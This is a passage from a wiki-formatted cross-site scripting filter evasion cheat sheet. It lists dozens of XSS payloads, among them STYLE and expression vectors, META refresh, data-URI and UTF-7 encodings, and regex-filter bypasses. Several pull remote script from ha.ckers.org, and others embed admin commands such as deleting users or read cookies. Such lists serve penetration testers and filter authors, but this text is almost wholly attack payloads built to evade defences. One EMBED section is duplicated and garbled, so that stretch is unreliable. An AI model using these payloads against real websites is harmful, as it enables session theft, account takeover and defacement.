xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag (Older versions of Netscape only)==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE TYPE=&amp;quot;text/javascript&amp;quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background-image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anonymous HTML with STYLE attribute ==&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. &lt;br /&gt;
&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http://&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME Event based ==&lt;br /&gt;
IFrames and most other elements can use event based mayhem like the following... &lt;br /&gt;
(Submitted by: David Cross)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=# onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Downlevel-Hidden block ==&lt;br /&gt;
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--[if gte IE 4]&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;lt;![endif]--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BASE tag ==&lt;br /&gt;
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &amp;quot;images/image.jpg&amp;quot; rather than full paths. If the path includes a leading forward slash like &amp;quot;/images/image.jpg&amp;quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BASE HREF=&amp;quot;javascript:alert('XSS');//&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OBJECT tag ==&lt;br /&gt;
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;OBJECT TYPE=&amp;quot;text/x-scriptlet&amp;quot; DATA=&amp;quot;http://ha.ckers.org/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using an EMBED tag you can embed a Flash movie that contains XSS ==&lt;br /&gt;
Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;EMBED SRC=&amp;quot;http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
org/xss.swf&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== You can EMBED SVG which can contain your XSS vector ==&lt;br /&gt;
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;EMBED SRC=&amp;quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&amp;quot; type=&amp;quot;image/svg+xml&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using ActionScript inside flash can obfuscate your XSS vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;a=&amp;quot;get&amp;quot;;&lt;br /&gt;
b=&amp;quot;URL(\&amp;quot;&amp;quot;;&lt;br /&gt;
c=&amp;quot;javascript:&amp;quot;;&lt;br /&gt;
d=&amp;quot;alert('XSS');\&amp;quot;)&amp;quot;;&lt;br /&gt;
eval(a+b+c+d);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XML data island with CDATA obfuscation ==&lt;br /&gt;
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML ID=&amp;quot;xss&amp;quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;amp;lt;IMG SRC=&amp;quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&amp;quot;&amp;amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=&amp;quot;#xss&amp;quot; DATAFLD=&amp;quot;B&amp;quot; DATAFORMATAS=&amp;quot;HTML&amp;quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==&lt;br /&gt;
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML SRC=&amp;quot;xsstest.xml&amp;quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML+TIME in XML ==&lt;br /&gt;
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;?xml:namespace prefix=&amp;quot;t&amp;quot; ns=&amp;quot;urn:schemas-microsoft-com:time&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?import namespace=&amp;quot;t&amp;quot; implementation=&amp;quot;#default#time2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;t:set attributeName=&amp;quot;innerHTML&amp;quot; to=&amp;quot;XSS&amp;amp;lt;SCRIPT DEFER&amp;amp;gt;alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Assuming you can only fit in a few characters and it filters against &amp;quot;.js&amp;quot; ==&lt;br /&gt;
you can rename your JavaScript file to an image as an XSS vector:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=&amp;quot;http://ha.ckers.org/xss.jpg&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSI (Server Side Includes)== &lt;br /&gt;
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo '&amp;lt;SCR'&amp;quot;--&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;? echo('&amp;lt;SCR)';&lt;br /&gt;
echo('IPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;'); ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IMG Embedded commands ==&lt;br /&gt;
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMG Embedded commands part II ===&lt;br /&gt;
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &amp;lt;IMG SRC=&amp;quot;http://badguy.com/a.jpg&amp;quot;&amp;gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;amp;deleteuser&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cookie manipulation ==&lt;br /&gt;
Admittidly this is pretty obscure but I have seen a few examples where &amp;lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Set-Cookie&amp;quot; Content=&amp;quot;USERID=&amp;amp;lt;SCRIPT&amp;amp;gt;alert('XSS')&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UTF-7 encoding ==&lt;br /&gt;
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;CONTENT-TYPE&amp;quot; CONTENT=&amp;quot;text/html; charset=UTF-7&amp;quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS using HTML quote encapsulation ==&lt;br /&gt;
This was tested in IE, your mileage may vary. For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;SCRIPT SRC...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;script src...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; (this is an important one, because I've seen this regex in the wild):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT =&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; '' SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yet another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &amp;lt;SCRIPT&amp;gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &amp;lt;SCRIPT&amp;gt; tags):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT &amp;quot;a='&amp;gt;'&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And one last XSS attack to evade, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; using grave accents (again, doesn't work in Firefox):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;'&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT&amp;gt;document.write(&amp;quot;&amp;lt;SCRI&amp;quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== URL string evasion ==&lt;br /&gt;
Assuming &amp;quot;http://www.google.com/&amp;quot; is pro grammatically disallowed:&lt;br /&gt;
&lt;br /&gt;
=== IP verses hostname ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://66.102.7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== URL encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dword encoding ===&lt;br /&gt;
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://1113982867/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hex encoding ===&lt;br /&gt;
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://0x42.0x0000066.0x7.0x93/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Octal encoding ===&lt;br /&gt;
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://0102.0146.0007.00000223/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mixed encoding === &lt;br /&gt;
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;h&lt;br /&gt;
tt	p://6&amp;amp;#9;6.000146.0x7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Protocol resolution bypass ===&lt;br /&gt;
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &amp;quot;(ht|f)tp(s)?://&amp;quot; (thanks to Ozh for part of this one). You can also change the &amp;quot;//&amp;quot; to &amp;quot;\\&amp;quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//www.google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 1. ===&lt;br /&gt;
Firefox uses Google's &amp;quot;feeling lucky&amp;quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's &amp;quot;keyword:&amp;quot; protocol. You can concatinate several keywords by using something like the following &amp;quot;keyword:XSS+RSnake&amp;quot; for instance. This no longer works within Firefox as of 2.0. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 2.===&lt;br /&gt;
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the &amp;quot;feeling lucky&amp;quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://ha.ckers.org@google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 3. === &lt;br /&gt;
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &amp;quot;feeling lucky&amp;quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &amp;quot;google&amp;quot;):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://google:ha.ckers.org&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Removing cnames  ===&lt;br /&gt;
When combined with the above URL, removing &amp;quot;www.&amp;quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extra dot for absolute DNS:===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.google.com./&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JavaScript link location: ===&lt;br /&gt;
